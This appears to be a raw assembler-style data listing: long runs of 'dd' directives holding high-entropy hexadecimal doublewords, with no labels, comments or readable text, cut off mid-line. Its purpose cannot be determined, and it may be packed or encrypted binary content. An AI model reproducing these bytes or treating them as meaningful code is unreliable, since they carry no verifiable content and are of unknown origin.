66745E6Fh, 19AACE92h dd 5C23D300h, 0B4549C67h, 25A40F7Fh, 0C30495D2h, 0CB108086h dd 0EA28395Ah, 0C1338C47h, 0E94B71BDh, 0F84025A1h, 7F4E6F45h dd 62BF0286h, 8729263Dh, 0F87876C1h, 941895AAh, 6E517A2Bh dd 5FEC74h, 11E0ACC5h, 3EC63006h, 61F3FF00h, 818DC7BFh dd 3D567D59h, 919B450Ah, 51E0682Bh, 4F0F7C26h, 6027DDD8h dd 4B8EA31Bh, 78B10088h, 2D49CA11h, 0A40EAC61h, 0C0BE0939h dd 70BFAA98h, 0A0CF64D3h, 0A1AC90A7h, 47E9AC89h, 970F71B8h dd 0F9482010h, 99A7AB07h, 0FFB1B254h, 2C8EB25h, 7917B9Ah dd 102BBCDDh, 35812B83h, 0E48A9897h, 14E8A976h, 1D250203h dd 907A8D35h, 0C09B0D7Dh dd 0E81C2418h, 0E900B5CBh, 3D61011h, 60A9D789h, 9FBA399Eh dd 24031B66h, 1CF62FA6h, 770830CEh, 66D7DF21h, 0EB7C8C00h dd 211C23F3h, 84A3103Dh, 0BA9A0097h, 2F70BC4Fh, 71D7E4D5h dd 4CE3E68Bh, 33009CB7h, 0FC8576EFh, 3E00258Ah, 1FDC4C5h dd 0DF26F2B8h, 1C340040h, 669CA45Eh, 0A58EC50Ch, 0C00D0836h dd 5E13D221h, 40F9FFCh, 1FB1AB6h, 0A936A45Dh, 0F735220h dd 1470B1F9h, 99878186h, 0C2CF2A00h, 0D5D811B6h, 0D00933A5h dd 21009C08h, 0EAC2D6C7h, 140B48FDh, 0AC102DF0h, 49D9304h dd 468B0F9Ah, 1191DFDh, 4A1EF9BBh, 53A4AD47h, 95885A90h dd 0E307FBD8h, 9345B332h, 9226EF50h, 0EC0129FEh, 5E180174h dd 18069CA0h, 0FE68843h, 47255E00h, 993141C2h, 0FCC451B1h dd 2920E407h, 981607AAh, 9E813054h, 3AA3C9C9h, 58D74400h dd 19BB4B5Ah, 29D600DEh, 0B48EFA83h, 7107EF6Bh, 1768767Fh dd 0E400DA55h, 0A2FC6201h, 81646C0Eh, 48CEFB0h, 9C9F5E1Bh dd 2041620Eh, 795E12E7h, 0F0A09460h, 0B01ED608h, 9928053Ch dd 40038BDAh, 47B1E2A4h, 0E50D0CDBh, 985102Eh, 208099E5h dd 4E47E942h, 3D3E9549h, 0A5C08E36h, 6384CE93h, 469CE591h dd 0C8B02C28h, 9D717497h, 5227C002h, 479C459Eh, 60664418h dd 7B196h, 774A5986h, 0A5939019h, 100B0884h, 870C2B79h dd 8CDBB06Ch, 0DA47B204h, 0D862DD0Ch, 7AC03724h, 75043942h dd 6BB202F4h, 0BEE4E131h, 54820442h, 7011625h, 0E820F965h dd 60AA4301h, 762411B2h, 91E89130h, 0DDD90074h, 3D2D9366h dd 76CAB00Eh, 0E6520109h, 18FF9EC7h, 90F1A06Fh, 0CD021546h dd 0E811B4C2h, 0C9105F31h, 0B700C2D4h, 77340F94h, 9522FD2h dd 8BA11DC4h, 80A94C80h, 721DD553h, 0BB5ACBF9h, 0DCEC1138h dd 4708BF18h, 0C4D50CD9h, 0B74440DDh, 2E92EC47h, 35524CBh dd 0CDE98526h, 81356804h, 0CC35F7Ch, 513ED852h, 103466B0h dd 952E0FCh, 0C2D9046Ch, 608411B0h, 0E0CDFC2Ch, 0FBD02C3h dd 0EF27E73Fh, 2061F941h, 0AD4085D0h, 0C499AAh, 0ACE0F7B3h dd 0CC00C3A2h, 0FBA5A3DCh, 3E7CDB16h, 6376E783h, 8B7DF944h dd 4076D100h, 20F2C249h, 237800C1h, 80CDF4D6h, 2C00EF10h dd 0A915989Eh, 0F4F690CFh, 7D500BAh, 0D4F0596h, 0F8C3C5F1h dd 0B85CBF3Fh, 1C9A3525h, 0C0836B5Ah, 5768DD8Eh, 0AA30E115h dd 20814094h, 58396633h, 8414282Fh, 26A4778Dh, 0EA11D04Ah dd 0A25E1A80h, 448C369Ch, 1100D418h, 53CE5B5Eh, 98F1F944h dd 278E051Ah, 19820B1h, 8B4726BCh, 0F1BA8Ah, 0A7E9A4C9h dd 6151C07h, 7D6AB2EEh, 31E621D3h, 21B4C800h, 59F9A4B9h dd 921D0070h, 0D9FF765Dh, 8F01E496h, 0A3B20FD7h, 0E89B8504h dd 0A9D29024h, 0CC0067C2h, 43772CBBh, 0F71CEB09h, 2FA180D3h dd 0C028A91Dh, 0AD3B5299h, 55005CDDh, 0FC1C19E5h, 1ECE77Eh dd 18F2A4FFh, 0F0DCF47Dh, 0EA04934Ah, 0A2AA553h, 0A3B888h dd 818583BBh, 0FEC64D6Ah, 0ACB9100Ch, 3812809Eh, 0FD801308h dd 0BD4BF31Ch, 9D3F433Eh, 0F8312049h, 192F640Bh, 189ED69Fh dd 24EF1E12h, 8060C808h, 0FE875609h, 0AD301C78h, 741D8172h dd 0C3CE1D63h, 9904C0B5h, 19EF9410h, 0B00C6003h, 0C09DF187h dd 5C7DC352h, 2B00E506h, 54BF675Fh, 40266F41h, 5D006418h dd 0C6BDAFA8h, 7826012Bh, 0D220CAE8h, 0F725EC36h, 96166907h dd 1860D8A7h, 1D9A58h, 0A143DEA2h, 17E7DD22h, 4001197Ch dd 4ED3D69Dh, 3980BDAEh, 0F5DA2918h, 7C1D0A95h, 78C0B86Dh dd 0DD7EA6A8h, 1820409Fh, 0EFCB9601h, 0BCABEE1Ch, 19804D71h dd 0D442329h, 0C8C3E268h, 880A1987h, 725ACDh, 9C329FF6h dd 2EA095D3h, 0E888C901h, 41DE964Ch, 0C068B987h, 0E9D600FCh dd 8600D99Ah, 7115D0F6h, 396052h, 4743515Eh, 730ABDFBh dd 9AE1E200h, 0D2581DCBh, 0BF8067Ah, 503AB696h, 7FDAC300h dd 0C50529DFh, 90750255h, 623E2E9Eh, 43B8A8A0h, 2400D1F7h dd 841C875Eh, 61290DC6h, 0D92820C5h, 3F9850D5h, 0CB63BA9Fh dd 3C3E58h, 0C5302941h, 4D21D4B7h, 0EAE6540Fh, 675EC71Ah dd 8C1F1765h, 45FB3B00h, 5EE9BB8h, 380FD157h, 2571C009h dd 4D3BC729h, 40B38023h, 20E60AB6h, 13043E6Fh, 5C29587h dd 3CE210EEh, 150097C6h, 0EDE32E0Dh, 610764Dh, 0E8323857h dd 0E560085Eh, 4E65C321h, 0E430031h, 0B505FCF1h, 6003569h dd 6ACCD7D6h, 650D17h, 44C46090h, 2E0E7CEFh, 3CAA0700h dd 94DBCE83h, 0A971C133h, 8088684Ch, 2223A690h, 0F842Ch dd 34F9A72Fh, 0A0A844B3h, 0E91520C0h, 0A7F1D336h, 2A138820h dd 0EC83C1CFh, 0D33364h, 0A2220E30h, 0BD0FA8D1h, 0D7B1180Eh dd 21368CBEh, 0A2250067h, 0BAEC88B2h, 44184B54h, 36079ACh dd 6B7E000Dh, 832E0CE1h, 0F30034B5h, 11D8A420h, 0CCD96297h dd 5521AD08h, 0D2F34C00h, 0B7B49EB8h, 1CC31451h, 5402887Dh dd 779DDE8h, 55FD0500h, 356A0082h, 67B4A6B5h, 5CA4F283h dd 37A22002h, 1BBEDFA9h, 0D37140ACh, 10CE8A1h, 76792C5Fh dd 80A00A7Bh, 0E3C31588h, 163C65h, 0E71453FAh, 0BFAD2807h dd 0CAD2E900h, 0F6298B8Ch, 92320CA4h, 6795861h, 0C6B89D14h dd 282B87F0h, 0D83F1C58h, 4E62E9ACh, 0F12FFB1Fh, 90AFC98Ah dd 3428CE82h, 97084130h, 2915AAE0h, 596C6873h, 0B7181Ah dd 71EC191h, 9FEEE23Ch, 4067211Fh, 9B06FCEAh, 0F08BD8Ch dd 542B2160h, 3AA21980h, 86B727A9h, 1D701D44h, 0E4DA1D4h dd 9040473Ch, 56208CD7h, 0ECFB2300h, 0CFA2CE50h, 505C5CA8h dd 6719C54h, 0D828C9FEh, 9C0AE03Fh, 886193EEh, 2DEB1580h dd 0DD190AD6h, 465BC011h, 775A07FAh, 71EFE10Eh, 21748CAAh dd 468200CEh, 41DD6DDh, 0EF1FA261h, 774E9B09h, 3F5680B5h dd 0C01C4A4Ch, 0B0EA1930h, 0A48A141h, 819A3C24h, 98248130h dd 0D89E864Fh, 91B05884h, 1301B9C4h, 0F9706B78h, 0ADC8C305h dd 0F8B8F432h, 313B185Fh, 9A15685Bh, 0B026233Ah, 6409491Eh dd 0F82E60E4h, 0FBADB828h, 90CCDF7Ah, 67D261B5h, 8F0F896Ah dd 0F23E4039h, 1B0E4B00h, 0E22024C4h, 92C9067Ch, 30938E0h dd 80FBF6DEh, 6B746FE9h, 0AC51C0AAh, 0E91DA808h, 0EB8B4F0Ah dd 0A960F09Fh, 0C02F145Ch, 0CA6B6290h, 0E4F9590Eh, 0D248878h dd 35C3D083h, 60A4E8F3h, 0B1448613h, 0F33D0020h, 0E8EFFD2Ch dd 8E547988h, 2F40D8E4h, 1FE1E06h, 847CC059h, 0DBB5A21Bh dd 4000849Ah, 0CFFF0654h, 0FA33D562h, 0B7D1244Fh, 302108A0h dd 0BEF1FD84h, 0AADDB011h, 0EE58A090h, 24028664h, 0BFA663A2h dd 101B19BEh, 98A22775h, 0E9383DD0h, 9772E401h, 0CC3A3F6Ch dd 810F55F3h, 0ECB58C7Dh, 606BE8E2h, 3F92F1B2h, 3A00D426h dd 0FBA9F5F3h, 253EBC5h, 79768A12h, 4848870Ah, 370060D8h dd 0CBF3278Fh, 0F64835DAh, 4B721FDBh, 0C0269464h, 0FC53F83Eh dd 1F264320h, 0DC42CC86h, 2428003Bh, 919DE5h, 65A01B14h dd 3C983DA0h, 5B4D08F8h, 0C670EF10h, 594D07F0h, 8996C536h dd 0C3D61C04h, 348C6594h, 0A934D302h, 45A0B1D7h, 0A1D66E10h dd 766B9E1Dh, 10C749h, 5DB4F4E0h, 0C8C098FFh, 0E1CF3998h dd 8F104F4Dh, 12DE19F2h, 6598C08Ah, 0C7101F9Bh, 0A00BC97Ah dd 19804811h, 0A41EBD00h, 48124848h, 5B9EA7C8h, 1930F042h dd 483860B9h, 0B124803Fh, 0DB160202h, 0ACAEB2A1h, 4362A8ECh dd 4DF302C7h, 0B1E71058h dd 0C110E4A0h, 84004D2Bh, 377C4E71h, 2B4727Eh, 0C2A12A6h dd 0D080E4F9h, 15623348h, 9E93C609h, 91689F20h, 0F83A8A8Bh dd 0A0814E1Bh, 0F68866h, 7A51C29Ah, 28C467C6h, 1C990301h dd 389E9263h, 1C43854h, 464F3840h, 8CBA07F6h, 0F64A7544h dd 54380746h, 30F2DD9Eh, 0E3D1173Ah, 1C2C5898h, 6C08583Eh dd 0CC031573h, 5F13D1B8h, 88084AEAh, 0D0C8587h, 5AE88898h dd 64352129h, 0C9080024h, 0EBD586BCh, 0F20F09Ch, 2DDC2046h dd 0D84D080Ch, 1E9B29B7h, 1D82CAD5h, 0A076D5A1h, 0D9A24C53h dd 1BAE8033h, 439203D4h, 0B0B50754h, 63309118h, 18E28328h dd 0C8E3750Bh, 38A86896h, 0F86C75Fh, 10794DFAh, 80E58871h dd 724DF2A8h, 3C29A616h, 6707FCC6h, 0BDB084ABh, 31A0Bh dd 978C4106h, 0C93AF583h, 7629E261h, 0A1407FA6h, 92319517h dd 0C0C676D8h, 0A3D45721h, 0A90CD32Bh, 0B0DC8923h, 5AF10058h dd 0F26B480Ch, 31034AECh, 0D44494FCh, 10C1ACFBh, 1E0C64F0h dd 0A935A204h, 3732B72Fh, 0A1D17320h, 508A0091h, 85F7EEEFh dd 0FC1EF42Fh, 358054DAh, 71CBA014h, 13A8C132h, 0DCD9FD1Ch dd 10BA204Ch, 0F0E14800h, 273FE069h, 986A0053h, 0EBEACCE7h dd 0C8181DE3h, 0F4406FEFh, 5E31304Ch, 98E4AE58h, 1095C900h dd 0D49275BCh, 70A86FBEh, 4CB2583Bh, 0CAF6440h, 28242A80h dd 0C847FE9h, 47193C4Dh, 0D48CD28h, 20C58240h, 826C6081h dd 0EF8C017Ch, 2DEA2278h, 2B0261Ch, 7F0465Dh, 1088316Ah dd 64684DCh, 1FE20AA0h, 254640DBh, 0F5465C02h, 0A0316207h dd 4698CF13h, 4178AD0Eh, 1CBB671Ch, 0B5083541h, 202DB378h dd 0A142C0F8h, 0A9299B11h, 4B7A2008h, 0CA2075F5h, 0C036C828h dd 0D8C869A4h, 0E74020E3h, 0A22D028Ch, 0BD07A936h, 74474851h dd 0E8E1A2A3h, 0F1B717h, 4C595596h, 0D03C3982h, 2A90F402h dd 8595B4ACh, 0BC814B8Ch, 41833406h, 0A2086F21h, 65C2D000h dd 0FD9F1B32h, 0ED307B5Ch, 0CF4BC840h, 919B035Dh, 649CBB36h dd 0EA9A59F0h, 56BD2F00h, 3FBA3A5Eh, 3BC201DBh, 0D8CF2918h dd 0F40980F6h, 0A5E4609Fh, 67EC1FCBh, 92654FFBh, 0FD64DD40h dd 0DA00F05Dh, 8258B181h, 2B22D8Bh, 1543131Ah, 9680A8C3h dd 4A42B69Dh, 8C303900h, 0F94ED4E6h, 651924CBh, 82C00034h dd 0F464B592h, 0E9021404h, 5DC0FC6Dh, 0E89E01EBh, 153D0078h dd 0D4E82BE1h, 8EE2C575h, 2DAC4E00h, 7247D33h, 3F0E8A0h dd 0F820A637h, 3BE9FDB8h, 0D62880BAh, 0FB8D5FF3h, 0F6D10016h dd 0A2C75CA0h, 470095CDh, 0EF61B154h, 93127Dh, 2C1599E3h dd 0A9140F1Eh, 2B85B600h, 3A4D2A61h, 577B9Dh, 0D903664Ch dd 5171DA63h, 0F8613724h, 43CDF200h, 4FF1211h, 5B46BB78h dd 0C3D09095h, 271FB162h, 0A6C09E1Dh, 925C4E87h, 3EF03D28h dd 7CD47484h, 0D780D79Fh, 0C090C529h, 50453B07h, 82004276h dd 72042B81h, 3F11C219h, 3F9E8D8Ch, 2EA34062h, 0ADA005D0h dd 8E89671Fh, 47F987FDh, 253049C8h, 399EB8B5h, 2D805E65h dd 9F68E8E9h, 0C003B659h, 0EF91A52Bh, 64CC88B2h, 0DE770006h dd 0D4CDE8F2h, 22E44B0Bh, 8F2A0103h, 2C9EF738h, 1DBCEAC0h dd 0F46E0071h, 8D8A5E30h, 31F02600h, 7AF65CF5h, 259E01F8h dd 5715AB0Fh, 6690E45Eh, 0A34FB70Eh, 556EE0F1h, 0EC9786h dd 2CF0C11Dh, 2D3BBDB2h, 71AF4501h, 9E3A1190h, 0E0ED0420h dd 0F2EC0003h, 0DAC9470Fh, 31003037h, 181E7053h, 1214A48Ch dd 2BD290h, 0CF17A32Ah, 0BF0065E6h, 3F636198h, 2646B7E2h dd 80ACD27Bh, 24F4A67h, 0EA58CB80h, 80F83D20h, 465700Fh dd 333C11h, 1F1776BAh, 0A6A563C6h, 0BDEA7D01h, 40997B89h dd 0A2460h, 0F0195D98h, 1AD871C3h, 0BDA86060h, 1BA1DB6h dd 0DE94FFB4h, 2033F075h, 77012B7Ch, 0F774AB3Eh, 0F2E4C9A0h dd 0FECC3D83h, 0D4EC8E80h, 0E25F19D3h, 28ED3100h, 3768A354h dd 0EE40F82Eh, 7FF30516h, 8184ECB7h, 0EC696A30h, 6C7EB82Ch dd 0F8004AF2h, 0BEC34664h, 2F2EE6h, 0E43AF67h, 8703D0ACh dd 0B410B87Fh, 9A000D91h, 23255363h, 5200EC31h, 0D6572C12h dd 1E0CACBh, 0C8468C99h, 0B97974F2h, 960A83C0h, 8838AA26h dd 487BA4h, 0E7EBCE93h, 99CCE29Ch, 0F1216204h, 589071D4h dd 0F6E7EFEh, 6BECF7F0h, 0D993F11h, 111C8650h, 496C4Ch dd 27D521D2h, 577DFA9Ah, 52420E01h, 6FB87F9h, 59C1EBD0h dd 0D6003CA2h, 0D2AB3DF2h, 6B044793h, 0F6DC9B17h, 7672CC80h dd 0D6E500ADh, 0CD294BF7h, 0DF00C87Fh, 1F03AF52h, 0D578A4h dd 1530B658h, 63B0939Dh, 91C4E607h, 80FFCF90h, 99C1084Fh dd 6F72FEh, 7CEEE739h, 2B1D3534h, 220DF600h, 21760BDAh dd 894F07E5h, 0B0A0F27Dh, 0CBCA7AE7h, 3146501Fh, 97830B40h dd 0A4D02Bh, 41D52926h, 895CBF10h, 0C0790A0Ch, 317E93h dd 0C2E0BB97h, 0BD4B6BF7h, 74BC49h, 661915A3h, 17707D0h dd 0D26F488Dh, 0C01A13F5h, 707D7984h, 74B05A78h, 0DDF09783h dd 902B71Dh, 7421E15Dh, 745C70E7h, 0C53D0054h, 0CAC3FA9h dd 5EEAE664h, 864FD800h, 511CD08Bh, 61CC2E18h, 0B4BB03F9h dd 6C883139h, 0F3DBA68h, 0FA3E80DDh, 0D26210Ah, 0A1A60015h dd 2A57AA82h, 5876F587h, 55C05E00h, 0ADC91AA9h, 18E56004h dd 366CEE84h, 51839804h, 48906678h, 54AF2Ah, 24DCFB0Ch dd 0CF7656ECh, 44EAC801h, 6DB0F634h, 62D4420h, 4F1758DCh dd 15011052h, 3B5B0D47h, 1CE0A120h, 7FA70C3h, 3DD4AE5Eh dd 80A7846Ah, 0B2D01D34h, 24573C03h, 0EA5AFA1h, 4E5BAD40h dd 1C00CA49h, 45E5E96Fh, 0C42CFDh, 1466E14Dh, 0D71A89h dd 0FBCC999Bh, 0B8102C6Ch, 0CEC7D4Dh, 0A1DA93A8h, 0B5E701D9h dd 8BC31DD2h, 0F5208037h, 8ABCD37Ch, 0C7F60069h, 1AE42A5h dd 77003508h, 468DF409h, 6F708F1Bh, 7AE0107Eh, 8C1E9221h dd 1CD2D403h, 805D3187h, 3B58BEh, 0BD89562Bh, 8DB6CA32h dd 109F6B07h, 4F507269h, 333CF5Fh, 25BB1C87h, 74B8C535h dd 0F008502h, 0BA55E040h, 0E720B53h, 97BBFFEBh, 593D4560h dd 0B100AB48h, 1EDF68B2h, 3D391E4h, 645FB570h, 0DD238Fh dd 898AE5D4h, 76041A2Dh, 0CB081738h, 0FE682980h, 51340056h dd 0ED401BB9h, 14005F35h, 1DA8BA5Ch, 5762DFh, 697D7C2Bh dd 0DACA8752h, 71828909h, 200B8012h, 3A8E9B9h, 257AA117h dd 9DD90B94h, 379430D1h, 1C5021B0h, 0E00C4F4h, 0DDD5E61Bh dd 9937D0Fh, 0DB2BCD2Ch, 82A20C20h, 750F94A3h, 2783C516h dd 5C175025h, 55D50E00h, 98741CD6h, 2D0C8097h, 0DA29BD93h dd 0E3440900h, 6B6152B3h, 2A1C0068h, 5787EADBh, 890FED39h dd 0C02B5D04h, 4E990AC8h, 5640037Ah, 0F0C29416h, 725760B0h dd 48238h, 0A2207881h, 0D0D15Ch, 0B6119E51h, 0AB07FD66h dd 893E281Ch, 0A0A42B43h, 5F23907Fh, 5D530AE5h, 9C346Fh dd 31048BCFh, 0B300746Eh, 28B47C48h, 3EB683E1h, 0B98033DEh dd 2D92C151h, 0C0B401D8h, 4ABC3Fh, 3CFCD15Fh, 8C4C8h, 6210D6B1h dd 0BE934EAEh, 0A68D9F01h, 0D3968ECEh, 6BC30h, 0C166CB9Bh dd 0BD3094F5h, 1AAD7100h, 7EC86D2h, 0DC0113C7h, 0F0C04218h dd 60E8CCDEh, 38074FCAh, 3917105Ah, 0F24287FEh, 600101Ah dd 0EFA71C08h, 0A6611D81h, 0A93F00C7h, 324F9B35h, 0B30D50C0h dd 0A1E3Dh, 7F9AA22h, 3CF07742h, 91319603h, 887AAF25h dd 3CC45686h dd 42C87CE9h, 10C5290Bh, 0F9AD0C40h, 0E74B4802h, 81F1F081h dd 3322EB40h, 71293434h, 899812h, 3B81BC2Fh, 61E57B3h dd 7E778C0h, 0A9DB01D4h, 470CF374h, 343080h, 0B8833B40h dd 0FE79D026h, 0BFA3053Ah, 3F0B00DAh, 83F50E17h, 0B8580742h dd 61BF26ABh, 0CB79FB08h, 4A22B3D0h, 0AA89A600h, 0B8F34325h dd 6930067h, 5FF2554Dh, 1C7F28DDh, 26E3F100h, 5C24EE1Eh dd 2F0338FEh, 438E9700h, 9549AFF8h, 3776D48h, 459363FAh dd 0C60BF47h, 1F73441h, 0E9AFF35Ah, 0F09214B2h, 0B000D3B7h dd 44C29D1Eh, 77E7866h, 4CF4644Dh, 355180DCh, 0CA1C29B5h dd 2D9714A8h, 308590D2h, 0A4FCF063h, 0B922D046h, 0F34B5E00h dd 980718DDh, 0D3BF00A1h, 0B126F796h, 0BC900BE6h, 17166AECh dd 0C845889h, 0A0E25CB2h, 507E30h, 4F88232Ch, 0CA38D1B1h dd 1F60B406h, 0B4283569h, 0D9467648h, 1437DA00h, 3042217Bh dd 864BA218h, 0BCC9221h, 584C4AB6h, 9F148460h, 3BAE3920h dd 1F662F8h, 0B4278261h, 8817351Fh, 600AD3E0h, 7F34676h dd 91AA7221h, 7DCD0079h, 0B0F01E46h, 0C0D11FFEh, 0FF140267h dd 1072D91Ch, 0B66C0A00h, 0EF6F88E5h, 0BBC000BAh, 7B66F573h dd 46006425h, 0C2A9C1ACh, 1F109CCCh, 7213F45h, 0C0BEB5EBh dd 0B3854FEh, 86581400h, 6B92B872h, 919D01FCh, 0C1997F8Ah dd 54B2D089h, 0AA5620C3h, 19E7B86Ah, 0C729005Fh, 18A9BF5Ch dd 720085BCh, 54C3D4E9h, 32D31F8h, 0AD121E38h, 60011873h dd 897033F7h, 5DCCE20Bh, 2D1602D1h, 80A348ADh, 50921800h dd 8A66001Ah, 11BFA47Dh, 190CD5ADh, 497FBE9Dh, 15F30092h dd 0E18EF527h, 563AF2A9h, 21CF30E0h, 5C15F0EBh, 0F78A4BCh dd 22E250FEh, 7C325383h, 0DD0010F6h, 19855745h, 5CEB4779h dd 6500B58Dh, 9A777639h, 6B0B26DEh, 1AE856h, 0A6F35F55h dd 443000D3h, 0F4D9671Eh, 0CFEC950Bh, 0A442410Fh, 0C0AC8FB1h dd 0C3E98436h, 4E690055h, 575BBD0Ah, 6405DE31h, 198E18EAh dd 5A9E6B80h, 0B1460082h, 29356887h, 11015E97h, 0E6D82AE8h dd 63201428h, 0D0100BD1h, 0A601293Eh, 827A1E47h, 0A3428931h dd 8D4C4051h, 0F57900F0h, 0CCC35EE1h, 7E001AC1h, 85445811h dd 76834CB0h, 607B1FC6h, 0F88DC097h, 32C74DECh, 0EF5DD10Ah dd 49781443h, 10740C4Bh, 5599AEBCh, 25819F07h, 0DAC10860h dd 0B18044C5h, 0D97E4B30h, 0CAF8CE2Bh, 0C1D2E28h, 2C181E11h dd 5A88E221h, 44064545h, 23CDA624h, 4819061Ah, 304463B3h dd 4C20E47Eh, 0F7290ACBh, 943F2Ah, 9EC88E56h, 0B20FB384h dd 8039E3CCh, 49B79581h, 0CAD918D7h, 8EA681FDh, 56B05054h dd 0C944E401h, 11CDAFE1h, 0F01DB470h, 63FF0B1h, 4CDBE24Bh dd 31057164h, 654ACF16h, 419080Fh, 49406D47h, 63034B1Ch dd 0A0025828h, 42014A18h, 2093C2C9h, 91370DC5h, 3EC08046h dd 1C7228h, 56837930h, 0D86203FAh, 9B296C06h, 3294880h dd 9F8ED215h, 0DCB8A4E1h, 8DF8CB9h, 0DA702130h, 915E068Eh dd 90670121h, 0D2D1180Bh, 9A53848Bh, 0DC64F680h, 0B1CA61C4h dd 0DC1E0681h, 5C05D8F5h, 2A6E83BEh, 3ED1CC5Dh, 18DBC013h dd 61641898h, 0EB444C2Eh, 924B0C03h, 9181847h, 3F3B8854h dd 0DEF5CF15h, 6C007CB0h, 0BA227208h, 3A64C9ECh, 6849ED8Bh dd 81971400h, 0F3592F08h, 0CFE7490Fh, 2979F8D3h, 60EDF237h dd 0BA4BA00Dh, 0E6036C2Bh, 0FE878FC9h, 9A1907CCh, 0C0E70DC3h dd 3FF1EE97h, 1DA00382h, 1393E8h, 6468AF10h, 0EBB9944Dh dd 2F9B3B03h, 0A7A1E0E4h, 93046790h, 0B54914D8h, 0C1FE0492h dd 20712FF8h, 14F76840h, 0A83080BAh, 0D4EEF300h, 0FA97536Eh dd 82E81E67h, 0F7E3036Dh, 0AAE9D5EAh, 0EF2F2069h, 425728C8h dd 0DE276F59h, 0EF518CD8h, 22848B51h, 92505E41h, 9B64DB14h dd 11232F51h, 42E6489Ch, 4324DB07h, 26520E40h, 9D178Bh dd 39A7C7E0h, 80730075h, 0D611609Ch, 38008287h, 1B8C81D8h dd 3B3AC3E5h, 48007AEDh, 0FD91D394h, 0F200C635h, 0D1E27ECAh dd 38BEACB7h, 7C3E1E82h, 645BA880h, 26A68FBAh, 10A96930h dd 3265CCh, 0D39E97A2h, 0B4426AA8h, 0DCEC7A7Ah, 0CE9C2600h dd 460F0421h, 619B0016h, 30C0AD37h, 0E20E0360h, 0E0324023h dd 63F2F14Ch, 1F5800B6h, 927D680Ah, 7B036BADh, 862FBA9Bh dd 0EDC588B8h, 11870018h, 4FC08525h, 8D1140D2h, 70005D04h dd 0F7FE1CC5h, 0A900036Ah, 0EB511915h, 189DCC08h, 1918B5C7h dd 280385D4h, 0E1DD4942h, 2563F078h, 740B007Ah, 0F1F6BBE2h dd 4601805Eh, 155D84Dh, 1820B369h, 5FEE00A3h, 15B22A38h dd 400DDE5h, 9334CC62h, 1E898894h, 8065D213h, 607C81A2h dd 1F036706h, 11B95B41h, 0B680FC4Eh, 0FC5005h, 0B5195DA3h dd 2501B1B3h, 0A5AFC400h, 2D2C71EAh, 0E661EF8h, 0F1AC8016h dd 0BE28DC8Ah, 5338AA00h, 88D6EB2Fh, 8F9017FEh, 0CE010995h dd 49A11A00h, 96249301h, 0C9006C48h, 102C148Dh, 39E0ABh dd 5E4F3502h, 413FF3D1h, 0E04D050Fh, 9397A076h, 0E4C285AFh dd 0C0AC1D4Ah, 30678011h, 459E79ADh, 1B511F00h, 61A4DFB2h dd 12DB016Ah, 25F06CD3h, 4976C8C6h, 790CBF00h, 834B9A2Fh dd 514100FDh, 1A45634Fh, 0F00C1CEh, 2C9F0A5Ah, 920C2Ah dd 14ED18FEh, 0EC9A8053h, 29B5C300h, 930902FCh, 0C9B70047h dd 2DD6F74Fh, 85071A55h, 6E501830h, 3DA75DF0h, 923700A8h dd 5D5564Dh, 2E0EB7Ah, 0AD443900h, 0A5A16CE7h, 9AE500C1h dd 5164F79Bh, 4900AEE4h, 0D61D0569h, 2405484h, 0F1D558DBh dd 9C8F5A83h, 56A5A261h, 1ACDD8E7h, 0C6BC00Eh, 0AA674070h dd 90FEB2D3h, 20D10F9Ch, 852088E3h, 0A3097F55h, 36EB0B00h dd 0E2B5B3BBh, 61340011h, 0A8C3F29Bh, 0A172144Fh, 9E8639h dd 34968CF0h, 9E9E0h, 9F5FFAA5h, 657B50CEh, 0E8884Ch, 1DB99EB4h dd 4C4448h, 4B1015B1h, 65840B23h, 0F9476000h, 0ACB6BFBCh dd 0D2331FF2h, 0A99F00A3h, 9BFFE3CDh, 2B4E2C00h, 0C33F142Eh dd 0F4700115h, 473D81DEh, 2DF68034h, 7A832009h, 22209087h dd 8521EDB7h, 4642808Ch, 4FEC2EFh, 0BFB49B00h, 88A5DB8Fh dd 366D001Dh, 0BB935135h, 9800A0F7h, 81E106D2h, 78B2EDB8h dd 0B5EB138Ah, 7DB707D1h, 0F5CDC03Ch, 7200C344h, 0A9C56885h dd 0EA14ADh, 3BB4A207h, 93836F42h, 560B8D00h, 12062E2Ch dd 4BF10085h, 7BA42DE9h, 0AE0020B6h, 6B76BEB0h, 32EBBDh dd 0C975936Dh, 0D080AC5Dh, 412AC600h, 0F08A397Eh, 5F5E00F2h dd 8E170D1Dh, 9776DAB3h, 2022E200h, 0DF3E16B5h, 6A7700EAh dd 7DC45F85h, 7E02A2AEh, 0E99315D3h, 0BC28C0B9h, 94AF03DFh dd 0BB11996Ch, 227C9EEEh, 0F89C501h, 6DDFEBD6h, 0C049D4h dd 9E5083D5h, 82B956Ch, 0E2EC4B00h, 6F851CAFh, 0CE9200F3h dd 1B1AAE01h, 8CFADE5Bh, 0B274111Eh, 0A1E9A7C5h, 0E7B7B400h dd 30203BD6h, 97F65319h, 76005568h, 0AD4B5DC2h, 7EE1D610h dd 0F8C004Eh, 0E37732E8h, 5D03566Ah, 803F5712h, 0FD7FF0CBh dd 0A0260079h, 4B655818h, 302654A2h, 0B8003861h, 6A865F36h dd 0C8F0008Bh, 6D5C11BCh, 1501A88Ch, 0BE3CB07h, 0B770FED7h dd 75EA07ACh, 0A95ABECAh, 0A86A2002h, 2F1A7220h, 17BF639h dd 74848DECh, 3189F950h, 691CCCA8h, 6EE3AC02h, 0E011E0E6h dd 0C2B2A0h, 0CC721586h, 252DFB0Ch, 0A8E2DA00h, 73F1719Ch dd 3D79048h dd 8D5D99AFh, 21EFC0A5h, 0D8A9E449h, 9E007B7Ch, 7D722A04h dd 0FFB576h, 1D180AD7h, 260C67F1h, 60529300h, 2787AFEDh dd 0B32D00B2h, 36593707h, 18003345h, 575AD5A3h, 268464D3h dd 0AE39862h, 8068C8h, 93E94B8h, 0A1DA5F0h, 714064FCh dd 4F31325Ch, 0E0FCDCh, 0CEBB707Eh, 0F8E2B4E9h, 660061FCh dd 0AACA081h, 0F9A44Fh, 0AD0FEF07h, 53B63644h, 0F36DE200h dd 0BA178E80h, 833300E4h, 31BC06E0h, 1E1F7A02h, 986C8FC6h dd 2822BB80h, 700E25h, 3F129389h, 0A2A55B33h, 0D7640900h dd 669F153Bh, 44EA00CAh, 9343E2ABh, 1400705Ch, 53CE19F8h dd 0FFCD01Fh, 0ED4AAF0Dh, 76A2EE60h, 800027F2h, 5419D2A5h dd 623BB2h, 0F42BC05Ah, 0A0539AF0h, 2FF5C301h, 3BCF418Fh dd 89918443h, 69E84022h, 171E4FFh, 801F03Dh, 0D0767EE5h dd 0CD004E2Dh, 273545FDh, 1C4C230Ch, 0CE0266CBh, 9F25AF7Eh dd 296CD06Ah, 0C701851Fh, 